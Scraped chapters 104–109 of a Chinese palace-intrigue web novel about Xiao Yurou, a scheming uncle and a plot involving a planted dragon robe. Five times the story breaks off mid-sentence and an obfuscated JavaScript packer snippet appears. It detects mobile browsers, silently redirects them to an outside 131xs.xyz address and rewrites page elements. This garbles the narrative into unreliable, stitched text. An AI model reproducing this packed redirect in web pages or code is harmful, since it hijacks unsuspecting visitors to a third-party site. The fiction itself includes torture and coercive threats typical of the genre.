他的靠山明泽公主被御史参奏的事闹得沸沸扬扬,虽说是皇帝亲妹,到底是庶出,这风波怕是不好平息。想到这里,他不由得攥紧了拳头,指甲深深陷入掌心的肉里。 街边茶肆里传来说书人抑扬顿挫的声音,讲述着朝堂上的风云变幻。萧泰不自觉地看向自己貌美如花的女儿萧柔,又想到如今风光无限的萧语柔,心中暗暗盘算:若能攀上一根金大腿,何必在这里受人白眼? 恰在此时,一队仪仗浩浩荡荡地从街上经过。萧泰眯起眼睛仔细一看,竟是国舅爷墨阳的车驾。这位近来心情阴郁的贵人,目光一扫就落在了萧柔身上,显然被她那份清纯中带着娇怜的气质吸引。 萧柔被这道目光看得浑身不自在,下意识地往父亲身后躲。萧泰却眼前一亮,仿佛看到了翻身的希望。 马车疾驰在回侯府的路上,车轮碾过石板路发出哒哒声响。车厢里,几位女眷正小声交谈着今日浴佛节的见闻。 桂婉柔怀着身孕,脸色苍白如纸,额头上渗出细密的汗珠。她却因为记挂着萧宁氏母女今日的异常,硬是咬着牙忍着不适。那对母女今日的表现太过反常,让她总觉得心里不安。 萧菱坐在一旁,时不时偷瞄桂婉柔一眼,眼底闪过一丝难以察觉的紧张。她的手指无意识地绞着手帕,指节因为用力而发白。 天色渐暗,暮色四合。远处传来几声不详的乌鸦叫声,给这静谧的傍晚平添了几分诡异。 忽然,一声闷响打破了车厢内的宁静,随即传来浓重的血腥气。车厢剧烈晃动。 还未等车内女眷掀帘查看,一把染血的长刀已经挑开车帘刺了进来。刀锋寒光凛冽,在暮色中泛着森然的冷光。 “啊——”萧菱尖叫一声,脸色煞白。 萧瑾眼疾手快,已经拔剑迎了上去。剑与刀相击,发出清脆的金属撞击声。 暮色中,几个蓄着浓密胡须的山匪与萧瑾缠斗在一起。他们身手矫健,招式凌厉,显然不是普通的山匪。而可怜的车夫已经倒在血泊之中,再无声息。 马车失控继续向前,萧语柔正要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481860|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去驾马,却被桂婉柔猛地推了一把。她踉跄了一下,转身怒视桂婉柔。 “想活命就给我老实待着!”萧语柔目光凌厉地扫过众人,语气中带着不容置疑的威胁,“谁敢轻举妄动,我就送她下去见阎王!” 几个女眷被她这凶狠模样吓得噤若寒蝉。萧语柔一边观察着追来的山匪,一边暗暗思量:这场戏果然按照预料上演了。 自己回京以来,桂成林父女就已经和某个权贵勾结,开始了这场针对自己的围猎。从秋围到今日的浴佛节,每一步都在他们的算计之中。 身后传来急促的马蹄声,萧语柔警觉地一闪,躲过了身后骑手的擒拿。夜风呼啸,吹乱了她的发丝。 “啊——”萧菱再次惊叫。 “再叫就割了你的舌头!”萧语柔厉声喝止,眼中闪过一丝狠厉。 马车一震,一个蒙面人已经跃上车顶。脚步声沉重,震得整个车厢都在晃动。看来萧瑾是被人缠住了,这些人怕是早有预谋。 就在这时,桂婉柔突然将萧语柔往外推:“好汉,你只要带走她就够了!她可是澜宁郡主,有的是钱财,我可以帮你们拿到她的嫁妆!” 萧语柔踉跄着后退,眼中闪过一丝震惊。她没想到桂婉柔会在这个时候背叛她。车厢内其他女眷也都惊恐地看着这一幕,不知所措。 夜色渐深,远处传来零星的更夫打更声。马车仍在颠簸前行,车轮碾过石板路的声音混杂着打斗声,在这个不平静的夜晚格外刺耳。 第一百零五章 拼图 林婆子站在屋角,目光不时偷瞄着正在翻阅破旧书籍的萧语柔。昏黄的烛光下,那张清秀的脸庞显得格外沉静。她想开口说些什么,却又不敢贸然打扰,只得低着头搓着衣角。 紫萱已经帮萧语柔将头发烘干,那一头乌黑的秀发只用一支玉簪随意挽着。发间还带着些许水汽,在灯火映照下泛着柔和的光泽。 “今日你们受了惊吓。”萧语柔放下手中的书册,轻声说道,“从库房支取十个大洋,让小厨房备一桌酒菜吧。”她顿了顿,“明日怕是要辛苦了。” 林婆子闻言,想到至今下落不明的萧宁氏母女,心头一紧。她强挤出笑容,声音有些发颤:“多谢小姐体恤。”说完便匆匆退了出去。 屋内只剩一盏孤灯,萧语柔想起岑陌方才的话,索性寻了把圈椅坐下。窗外传来虫鸣声,细碎而绵长。她闭上眼,脑海中浮现出萧瑾带来的消息。 桂成林见过穆氏后,径直去了长公主府邸。那一去就是整整一个时辰,期间无人知晓他们谈了什么。而凌明去见长公主时,对方刚好沐浴完毕,身上还带着淡淡的香气。 这些零散的信息像是拼图,渐渐在她心中勾勒出一幅完整的画面。 岑陌推门而入时,本以为会看到受惊的小姑娘,却见她眼中满是温柔,嘴角还带着若有似无的笑意。烛光在她脸上投下细碎的光影,衬得那双眼眸越发明亮。 “看来你已经知道桂成林和长公主的关系了?”岑陌挑眉问道,语气中带着几分玩味。 萧语柔抬眼看他:“殿下早就知道了?” “之前只是有些猜测。”岑陌在她身边坐下,淡淡道,“不过看你今日这般表情,倒是坐实了。” 他自然而然地将萧语柔揽入怀中。少女身上带着淡淡的药香,混合着她独特的体香,让人心安。萧语柔也懒得挣扎,一边替他把脉一边问:“殿下不觉得伤心吗?” “为何要伤心?” “长公主从小抚养殿下长大...”她的声音轻柔,带着小心翼翼的试探。 “是,她确实养大了我。”岑陌语气平静,“但我很早就明白,她不是我的母亲。” 萧语柔听出他话中的失落。她想起长公主表面端庄,私下却羞辱岑陌的情形。那时的岑陌,就像被遗弃在黑暗角落的孩子,既迷茫又无助。她的心揪了起来,下意识地握紧了他的手。 “我不难过。”岑陌轻抚着她的发丝,眼中闪过一丝寒意,“她的恩情,我自会还清。但你,她碰不得。” 话音未落,他已经吻了下来。萧语柔被他吻得晕晕乎乎,耳边传来他低沉的声音:“阿柔,你是我的命。不管你愿不愿意,谁也别想抛下我。否则,我会让所有你在乎的人付出代价。” 这句话带着不容置疑的霸道,却又透着几分脆弱。萧语柔心头一颤,她知道他说的是真的。这个男人可以为了她毁天灭地,也可以为了她温柔似水。 她轻轻环住他的脖子:“那我们就好好的,一直到白头可好?” “好。”他将她抱得更紧,仿佛要将她揉进骨血里。 夜色渐深,窗外的虫鸣声依旧。萧语柔靠在岑陌怀里,听着他平稳的心跳声。她想起今日发生的种种,心中泛起一丝不安。长公主和桂成林的关系,萧宁氏母女的失踪,这些事情背后究竟隐藏着什么? 次日清晨,幽谷大门被人急促敲响。 紫萱开门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485411|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见是萧柔,面色平静道:“小姐昨日受惊,还在休息。” “求求你让我见见语柔!”萧柔双膝一软,跪了下来。她的头发凌乱,眼中满是泪水,“她是县主,还能成为王府的贵妃,一定有办法救我母亲和妹妹!” “二小姐想让我家小姐如何做?”紫萱冷声问,“让她担下此事,还是动用权势?” 萧柔语塞,眼泪止不住地往下掉。 “小姐虽是县主,但还未过门。”紫萱直言,“京中多少人盯着三皇子,若她妄动权势,只怕会惹来祸端。二小姐可想过后果?” 萧柔失魂落魄地离开,却被守候在外的萧泰抓住:“她答应了吗?” “她...她不愿意...”萧柔低着头,声音颤抖。 “没用的东西!”萧泰一把将她推倒在地,“连这点小事都办不好!” 萧柔摔在地上,突然想起萧语柔曾经的警告:尽快离开侯府,别再掺和这些事。当时她不以为然,如今想来,那分明是善意的提醒。 她浑身一颤,抬头看向萧泰:“爹,你是不是在帮人算计语柔和三皇子?” 萧泰的脸色瞬间变得铁青。他抬手就要打下去,却被一个声音打断。 “萧大人这是在做什么?” 岑陌不知何时出现在街角,他面带微笑,眼中却没有半分温度。萧泰的手僵在半空,冷汗瞬间浸透了后背。 萧柔看着岑陌的身影,突然明白了什么。她想起萧语柔平日里的举动,那些看似随意的关心,那些意味深长的提醒,原来都是为了今天。 远处传来鸟雀的啼鸣,新的一天才刚刚开始。但对于某些人来说,或许就是结束的开始。 第一百零六章 痛处 萧泰的面皮抖动着,眼神阴鸷地盯着萧柔。院中的风吹过,带起一阵落桂打着旋儿,却驱散不了这父女之间凝重的气氛。 “谁告诉你的?”他的声音低沉而危险。 萧柔垂着头,纤细的手指紧紧攥着裙角。她能感受到父亲灼热的目光,那目光仿佛要将她烧穿。她的声音轻若蚊蝇:“女儿不过是猜测罢了......” “猜测?”萧泰猛地站起身,茶盏被他一挥手打翻在地,滚烫的茶水溅在萧柔裙摆上。“就凭你这点猜测也敢往你爹头上扣帽子?你这个孽女,原来你这么废物,当初就该让你死在襁褓里!” 远处的下人们躲在廊柱后窃窃私语。有人叹息,有人摇头,更多的是对萧家人的不齿。自私小气的形容,简直就是为这萧家量身定做。 “你们看萧老爷那样子,”一个年长些的婆子压低声音道,“活像是被戳中了什么痛处。” “可不是么,”另一个丫鬟接话,“这萧家上下,就没一个是善茬。” 一阵急促的脚步声打断了众人的议论。一个下人跌跌撞撞地跑来,额头上的汗珠不停往下滚。他的衣衫凌乱,显然是一路狂奔而来。 “老爷,不好了!”那下人上气不接下气地喊道。 萧泰黑着脸,眼中闪过一丝不耐烦:“又出什么事了?” 下人咽了口唾沫,声音颤抖:“公子昨晚在赌坊输了银子,竟然......竟然把少夫人抵了债,现在赌坊的人把公子打得半死不活,就在侯府门口要债呢!” “你说什么?”萧泰身子一晃,脸色瞬间变得惨白。他扶着桌角才勉强站稳,“把少夫人抵债?” “不止如此......”下人的声音更加颤抖,眼神闪烁不定,似乎不敢说出后面的话。 “说!”萧泰厉声喝道。 “少夫人已经被卖进明月楼了。” 这句话如同一记重锤,砸得萧泰几乎喘不过气来。明月楼是什么地方,龙都里的人都心知肚明。那是个连提都不敢提的地方,是多少良家女子堕落的深渊。 萧泰强撑着问:“欠了多少银子?”他的声音沙哑得不成样子。 “赌坊的人念在我们是侯府亲戚的份上,已经给抹了零头,要九千八百两......” “九千八百两......”萧泰眼前发黑,踉跄着后退几步。这笔钱,就算把他卖了也凑不齐。他的脑海中闪过无数个念头,却没有一个能解决眼前的困境。 就在这时,宁远伯府的管事桂威施施然走来。他身着绸缎长衫,腰间挂着一块上好的金镯,举手投足间尽是优越感。 萧泰急忙迎上去:“桂管事......” 桂威冷笑着打断他:“正好侯爷要见萧大人,问问昨日佛会上萧家三小姐为何要推我家四小姐。”他的目光在萧泰脸上扫过,带着几分轻蔑,“而且,抓到的山匪已经招供,说是萧老爷指使他们动的手。侯爷要请萧老爷过去说道说道。” 萧泰瘫软在地,浑身冰凉。他终于明白了,宁远侯这是要找个替死鬼了,而这个背锅侠,就是他萧泰! 与此同时,在龙都另一处宅院里,萧语柔正专注于锦绣坊开业的筹备工作。 阳光透过窗棂洒在案几上,照亮了摊开的账本。西陲之行耗费了她大半积蓄,剩下的钱勉强够支撑锦绣坊的开销。至于三皇子的私产,早已被她用来赈灾救民了。 “生意要做大,做远。”萧语柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485412|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻敲着桌面,眼神清澈却带着几分锐利。她的指尖在账本上轻点,“我需要建立一个专门的情报组织。” 梨竹站在一旁,听到这话不禁打了个寒颤:“小的恐怕办不来这等大事......” “自然不会让你去负责。”萧语柔说着,目光落在窗外的海棠树上。花开正盛,粉白相间,“锦绣坊可还有西域的葡萄酒?” “是,那是禅连他们带来的,连宫里都少见。”梨竹答道,“小的让人好生存放着呢。” “准备几坛,明天跟我出门办事。”萧语柔的声音不容置疑。 在宁远伯府隔壁的别院深处,岑陌坐在轮椅上。银白锦袍衬得他如同神祗,却比神祗更加冷漠无情。密室中的烛火摇曳,在他脸上投下忽明忽暗的阴影。 他看着密室中那个已经受尽二十七道酷刑的血人,声音淡漠得仿佛在谈论天气:“还不打算说实话?” 那血人已经面目全非,浑身上下没有一处完好的皮肉。他的眼睛肿得只剩一条缝,却依然倔强地瞪着岑陌:“岑陌,你这个心狠手辅的恶魔!”他的声音嘶哑,带着深深的恨意,“你迟早会遭天谴......” 话音未落,一鞭子抽在他眼上。鲜血顺着脸颊流下,凄厉的喊声回荡地牢。岑陌的表情依旧平静,仿佛在欣赏一出戏。 “你藏在老槐巷的小情人和那对龙凤胎......”岑陌慢条斯理地说,手指轻轻敲击着轮椅扶手,“看你能否扛得住这样的折磨?来人......” “住手!”血人终于崩溃,声音中带着哭腔,“我说!我说!” 岑陌从密室出来时,林妈妈已经等候多时。她恭敬地站在廊下,将侯府发生的事一一禀报。 第一百零七章 不检点 岑陌站在窗前,目光落在远处的宫墙上。朝阳初升,金色的光芒洒在青灰色的砖瓦上,映出一片肃穆庄严。 “阿柔那丫头,倒是个聪明的。”他语气淡漠,眼底却闪过一丝赞许。 林妈妈站在一旁,看着自家主子这副若有所思的模样。她在褚府多年,深知这位年轻的主子看似温和,实则手段凌厉。 “那侯府的事,我们要插手吗?”林妈妈小心翼翼地问道。话一出口,她又想起桂成林与长公主的关系,连忙改口,“五小姐向来有主意,想必能处理好。” 岑陌转过身,眸光微冷。窗外的阳光照在他脸上,却驱散不了那份寒意,“驸马的死,查得如何了?” “回主子,当时做得太干净,找不到什么线索。”林妈妈低着头,声音更轻了几分。 “无妨。”岑陌眼中闪过一丝寒芒,修长的手指在桌案上轻轻点了点,“找不到线索,便造些线索出来。有些人,也该下去陪驸马了。” 萧泰在兰轩里坐了整整一个下午。 外头蝶舞莺飞,骄阳似火,园子里的牡丹开得正艳,粉白相间的花瓣上还带着晨露。可他却只觉浑身发冷,仿佛置身寒冬之中。 昨日桂成林那番质问,如同一记重锤砸在他心上。那些话语一遍遍在耳边回响: “萧大人,你可知道自己在做什么?” “侯府的门槛,也是你能随意踏的?” “若不是看在五小姐的面子上...” 他给明泽公主府送去的信石沉大海,没有半点回音。每每想起这事,他就觉得胸口发闷,呼吸困难。 萧虎被打得下不了床,整日嚎啕要告御状。那张年轻的脸因为疼痛而扭曲,嘴里不停地咒骂着。若不是那位“贵人”及时出手,替他摆平了赌坊的债务,只怕现在已经是具冰冷的尸体了。 想到“贵人”二字,萧泰不由打了个寒颤。他总算明白过来,那些所谓的提携,不过是要拿他当刀子,去对付自己那个得意的侄女罢了。 就在这时,京兆府的人突然来报,说是找到了萧宁氏母女。 “在哪找到的?”萧泰下意识问道。 “在...在某家花楼的后园中。”那衙役支支吾吾地说道,“衣衫不整地找到的。” 萧宁氏被带回来时还在破口大骂,言语污秽不堪。她那张原本还算端庄的脸因为愤怒而扭曲,头发散乱,衣衫不整,活像个泼妇。 萧菱则是一副失魂落魵的模样,眼神空洞,看起来竟有几分疯癫。她原本梳得整齐的发髻散了,青丝凌乱地垂在肩头,脸上还带着未干的泪痕。 这一切都是在众目睽睽之下发生的。 街坊四邻探头探脑,窃窃私语。有人说萧宁氏母女不检点,有人说萧泰这个当家的没用,更有人说这是报应。 萧泰只觉得脑子里嗡嗡作响,耳边尽是那些难听的议论声。 作为一个男人,他恨不得立刻把这对母女沉塘。可若真这么做了,岂不是坐实了他是宁远侯的替罪羊? 可宁远侯为何要算计他? 想不通,想不明白。 他只知道,若是处理不好这事,天下人都要骂他萧泰是个无情无义之徒。 思来想去,萧泰晕晕乎乎地来到了幽谷门口。 林婆子远远看见他,那张布满皱纹的脸上露出几分嫌恶。她忙去通报:“小姐,萧老爷来了。” “不必理会。”萧语柔正在设计锦绣坊的掌柜印信,头也不抬地说道。阳光透过窗棂照在她的侧脸上,勾勒出一道优美的轮廓。 林婆子退出去后,拉着紫萱问:“紫萱,你说小姐是怎么知道萧老爷会来的?那萧泰看着老实,实则躲在妻女后头挑事,向来把小姐当肥羊宰。” 紫萱心里清萧,从萧虎夫妻进赌坊,到那位“贵人”解决赌债,再到桂成林去训话,全都是小姐一手安排的。 但她只是笑道:“要是我有小姐那般聪明,也不会在这儿端茶倒水了。”说着,她又给萧语柔添了杯茶。 萧泰在门外站了许久,看着那扇紧闭的朱漆大门,心中五味杂陈。最终,他还是转身离去。 他要去找那位替萧虎解围的贵人。 夜色如墨,星光黯淡。 萧泰刚出侯府没多远,就有人迎上来。那人穿着普通,面容平凡,却给人一种说不出的压迫感:“大人是来找我家少爷的吧?” 最高处的楼阁上,可以俯瞰整个盛龙都。 华灯初上,人声鼎沸。街道上灯火通明,酒楼里觥筹交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493246|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,一派繁华景象。 萧泰看得入了迷。只要有权有势,他也能像这样,高高在上,生杀予夺。这个念头一起,就再也压不下去。 玉石屏风后站着一道颀长身影,开口的是一旁伺候的丫鬟:“公子已知你来意。就提了一个条件,答应便有富贵,若是不肯,现在就请回。” 萧泰强压下心中不安:“请问是何要求?” “明泽公主为何召你入京?” 萧泰迟疑片刻,额头渗出细密的汗珠。那侍女冷声道:“若敢说假话,你全家都别想活!” 萧泰浑身一颤:“公主让我来磋磨萧语柔,最好能让她和三皇子的婚约作废。” “还有呢?”侍女的声音更冷了几分。 “公主给了我一件东西,让我找机会放进侄女房中。” “什么东西?” “是...龙袍。” "砰"的一声,屏风后的人将茶盏摔在地上。碎片四溅,茶水洒了一地。 萧泰吓得跪倒在地,浑身发抖。他没看见只有那侍女依然站得笔直,面无表情。 侍女冷声道:“既如此,请萧大人去官府检举此事。若成,富贵享之不尽。” 萧泰走出来时,被夜风一吹,才惊觉自己说了什么,差点瘫软在地。冷汗浸透了里衣,后背一片湿凉。 一个衣衫褴褛的乞丐扶住他:“大人,让奴婢为您带路如何?” 那平凡的面容看着他,仿佛洞悉了一切。眼神中带着几分戏谑,几分怜悯。 萧泰心底发寒,这就是他向往的权势,这就是他自投的罗网! “姐姐,他说这话靠谱吗?” 屋内,“贵公子”萧瑾脱下增高的鞋子,暗暗发誓一定要多吃饭长高。她看着萧语柔,眼中满是担忧。 萧语柔握笔的手微微发抖。 两世为人,她从未想过会碰上“谋反”二字。 萧泰只顾眼前利益,殊料若是龙袍暴露,不止她和岑陌性命不保,整个宁远伯府和萧家都将万劫不复。 窗外的月光清冷,照在她苍白的脸上。这一刻,她忽然明白了为什么岑陌会对驸马的死如此在意。 一切都串联起来了。 可是,该如何应对? 第一百零八章 见师父 “萧泰说的是真的。” 萧语柔站在窗前,望着那个渐行渐远的身影。春日的阳光透过窗棂洒在她白皙的脸上,映出一抹若有若无的笑意。她的手指轻轻敲击着窗框,眼底闪过一丝深思。 她太了解萧泰了。这个人虽然心机深沉,但还没到能在她面前**这种把戏的地步。今天他来访,不过是想借她的手咬明泽公主一口罢了。 只是没想到,这一口竟咬得如此之深。 “小姐,我们现在该怎么办?”丫鬟小声问道,手中还攥着方才萧泰留下的那封信。 萧语柔转过身,接过信件随手放在案几上:“去告诉三皇子。”她的声音轻柔,却带着不容置疑的坚定,“其他的事,我自有打算。” 丫鬟迟疑片刻:“小姐,这事要不要先禀告老爷?” “不必。”萧语柔摇头,“父亲近来为朝中事务焦头烂额,这些事就不要再去打扰他了。” 说着,她走到梳妆台前坐下,开始整理发髻。镜中倒映出她清丽的容颜,眉宇间却透着与年龄不相符的沉稳。 “去准备马车吧,我要去一趟太玄府。” 丫鬟应声退下,萧语柔的手指在梳妆台上轻轻叩击,回想着前世的种种。那时的她,也是这般年纪,却因为一时糊涂,做出了让自己后悔终身的选择。 太玄府内,一片狼藉。 到处都是堆积如山的书籍和写满天文符号的纸张,连个下脚的地方都没有。这便是大名鼎鼎的太玄府的真实模样。空气中弥漫着淡淡的檀香,混合着墨香,让人忍不住想打个喷嚏。 萧语柔提着食盒,小心翼翼地在纸堆中找出一条通路。她今天特意带了明月阁的红烧狮子头来,就为了能见到这位整日躲在府中观星的国师大人。 “哎呦,这不是小语柔吗?”谭北的声音从书堆后传来,伴随着哗啦啦翻动书页的声响,“今天怎么想起来看我这个老头子了?” “先生说笑了。”萧语柔将食盒放在一处相对干净的桌面上,“您要是老头子,朝中那些大臣岂不是都成了老祖宗?” 谭北从书堆后探出头来,鼻子轻轻抽动:“嗯?是明月阁的狮子头?”他三两步就窜到了桌前,“你这丫头,终于知道孝敬师父了?” 看着谭北狼吞虎咽地吃着狮子头,萧语柔轻声问道:“先生,您觉得三皇子适合那个位置吗?” 谭北的动作顿了一下,眼神变得深邃:“你这丫头,今天是专程来打探口风的?” 萧语柔不慌不忙地给他倒了杯茶:“三皇子去西陲的事情,是您在陛下面前说了好话吧?” “完全被蒙在鼓里。”谭北含糊其辞,又扒拉了一口狮子头。 “听说最近天象有异?” 这一问可把谭北吓得不轻,差点被狮子头噎住:“咳咳咳......你怎么知道的?” 萧语柔递上茶水,心中暗叹。上一世的荧惑守心之象,最终害得岑陌吃尽苦头。这一世,她绝不能让历史重演。 “先生,三皇子有帝王之才。”萧语柔直视着谭北的眼睛,“大晋需要一个能够铲除顽疾的明君,而三皇子正是最适合的人选。” 谭北放下筷子,神色渐渐严肃:“你知道你在说什么吗?这可是要掉脑袋的大事。” “臣女知道。” “你一个闺阁女子,不该插手这些事。” “臣女也知道。”萧语柔毫不退缩,“但我不能眼看着奸臣当道,祸乱朝纲。” “你说的是明泽公主?” “是她,也是那些借她之手搅乱朝堂的人。”萧语柔的声音很轻,却字字诛心,“先生应该比我更清萧,朝中现在是什么光景。” 谭北盯着她看了许久,忽然笑了:“丫头,你可知道你现在的样子,跟当年的褚夫人简直一模一样。” 萧语柔心头一颤,强自镇定道:“先生说笑了,臣女怎敢与褚夫人相提并论。” “行吧,我帮你。”谭北摆摆手,“不过......” “先生请说。” “以后每天都要给我送狮子头。” “没钱。”萧语柔干脆利落地拒绝,“等我有钱了再请先生去明月阁。” 说完,她起身告辞,留下谭北在原地叨叨:“这小狐狸,跟那老狐狸还真是天生一对......” 屏风后,岑陌缓缓走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493247|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。他没想到,在萧语柔眼中,自己竟是这样一个人。 有才能,有抱负,更有仁心。 可她不知道,在遇见她之前,他的心中只有毁灭的念头。这满目疮痍的江山,这口口声声说着仁义道德的人,他都想毁掉。 但现在......似乎有了些不同的想法。 “师父,如何化解荧惑守心?” “天天吃肉丸大餐。”谭北咧嘴一笑,“你那小未婚妻倒是个妙人。” 岑陌没有接话,只是望着萧语柔离去的方向,眼神深邃。 就在这时,一匹快马飞驰入城,最后停在一处后院门前。 门内,明泽公主正倚在门边,她的容貌绝美,却难掩疲惫之色。听到马蹄声,她的眼中闪过一丝期待,随即又暗淡下来。 “公主,不好了!”来人跪地禀报,“萧泰......萧泰他......” “说!” “萧泰去见了萧语柔小姐,还把那件事告诉了她!” 明泽公主的脸色瞬间变得惨白,手中的帕子“啪嗒”一声掉在地上。她踉跄着后退几步,扶住门框才勉强站稳。 “**!”她咬牙切齿,“萧泰这个**!” “公主,现在该怎么办?” 明泽公主深吸一口气,强迫自己冷静下来:“去请......” 话未说完,又一骑快马疾驰而来:“公主!大事不好!三皇子回来了!” 明泽公主猛地抬头,眼中闪过一丝慌乱:“不可能!他不是在西陲吗?怎么会......” 她突然想到什么,脸色变得更加难看:“萧语柔!一定是她!” 夜幕降临,皇城内外渐渐安静下来。 萧语柔站在院中的梨树下,望着满天繁星。春日的晚风带着些许凉意,吹动她的衣袂,也吹乱了她的思绪。 “小姐。”丫鬟轻声唤道,“三皇子派人来说,他已经回到王府了。” 萧语柔点点头:“我知道了。” 她转身走向屋内,脚步轻盈却坚定。这一世,她要改变所有人的命运。 不仅是岑陌的,还有她自己的。 第一百零九章 回信 明泽站在窗前,眼中的光芒渐渐暗淡,手中的茶盏早已凉透。 她早该想到的。 从萧泰一家出事的那一刻起,一切就已经脱离了她的掌控。那些暗中涌动的势力,那些若隐若现的威胁,都在向她逼近。 有人在暗中操控这一切,借她的手对付萧语柔,又想借萧语柔的手来对付她。这盘棋走得太过精妙,每一步都算计得恰到好处。 区区一个县主,本不足为惧。可站在萧语柔背后的岑陌,却让她不得不重视。那个年轻的三皇子,表面温和有礼,实则心思缜密,手段狠辣。 院中传来急促的脚步声,打断了她的思绪。 “小姐,谢府的回信到了。”贴身丫鬟秋花小心翼翼地递上一封信,声音都在发抖。 明泽攥紧了手中的信笺,纸张在她手中发出轻微的皱响,仿佛在无声地嘲笑她的无能。 她已经派人潜入江南,恳请柳家老太爷入京。那可是当今圣上的恩师,若能请动,或许还有转圜的余地。可谢府竟无一人肯来,连一个模棱两可的托词都懒得给。 “驸马呢?”明泽强压着怒意问道,眼角的青筋微微跳动。 秋花跪在地上,声音颤抖:“回禀公主,驸马在书房里写休书。” 明泽的脸色瞬间阴沉如墨,手中的茶盏重重砸在地上,瓷片四溅。秋花吓得缩了缩脖子,不敢抬头。 但现在不是找驸马算账的时候,当务之急是寻找帮手。京兆府那个王虎,配合谢御史顺藤摸瓜找出她的罪证。若说背后没有人指使,打死她都不信。 她又能投靠谁呢? 柳家靠不住,太后不管事,赵王又是个软骨头,世家大族更是避之唯恐不及。而那些曾经对她阿谀奉承的人,此刻都躲得远远的,生怕被她连累。 “备马,去长公主府!”明泽一咬牙,纵使明知是虎穴,也要搏上一搏。 可长公主府的大门紧闭,连个说话的人都见不着。门房只说长公主身体不适,谢绝一切访客。这借口拙劣得令人发笑,却让明泽无可奈何。 她策马立在长公主府门前,寒风吹得她衣袂翻飞。路过的行人纷纷侧目,却无人敢多看一眼。 明泽这才意识到,大事不妙了。 与此同时,萧泰带着状纸,已经进了京兆府。他那张饱经风霜的脸上写满了决绝,手中的状纸被汗水浸湿了一角。 消息很快传遍了整个龙都,犹如一阵旋风,卷起无数暗流。 “真的吗?萧泰状告明泽公主,以大佬的威势强迫他进宫,还算计五妹妹和三皇子?”桂玥瞪大了眼睛,一盅杏仁露全泼到衣服上了。她那张白净的小脸因为激动而泛起红晕。 春姨娘连忙替她擦拭:“你激动什么,这事与你无关。”她的动作轻柔,眼中却闪过一丝担忧。 “怎么会无关?他们差点害了三皇子!”桂玥急得直跺脚,杏仁酪在衣襟上晕开一片水渍。 春姨娘看着女儿通红的小脸,忍俊不禁:“傻丫头,三皇子岂是那么容易对付的?”她拉着桂玥坐下,轻声劝慰。 桂玥脸上一红,低头摆弄着衣角:“娘,您别笑了。那萧泰太可恶了,明泽公主更是狠毒。” 春姨娘赶紧堵住她的嘴,四下张望确认无人,才低声道:“这种话少说。明泽公主根基深厚,背后有柳家支持。就算皇上信了,最严重不过是剥夺她公主的身份,发配边地。可即便如此,她要对付你这样的小姑娘,还是轻而易举的。” 桂玥撇撇嘴,转身去了幽谷。却听说萧语柔病倒了,高烧不退。这个消息让她心头一紧,连忙加快脚步。 太夫人被气得卧床不起,整个侯府笼罩在一片愁云惨雾之中。 思来想去,桂玥提着点心去看桂婉柔。她知道,此时桂婉柔一定也在担心萧语柔。 幽谷内,萧语柔正喝着冰镇的杏仁酪,细碎的阳光透过树影洒在窗台上。紫萱站在一旁,不时为她添茶递水。 若不是外头传来的叫骂声,这该是个多么惬意的午后。 “萧语柔,你这个忘恩负义的东西!”尖锐的女声划破了院中的宁静。 “你怎么敢丢下你大伯母和亲妹妹独自逃命!”萧宁氏的声音中带着几分歇斯底里。 萧宁氏站在园外,指着幽谷破口大骂。她的头发有些凌乱,衣衫也不似从前那般整洁,显然这些日子过得并不好。 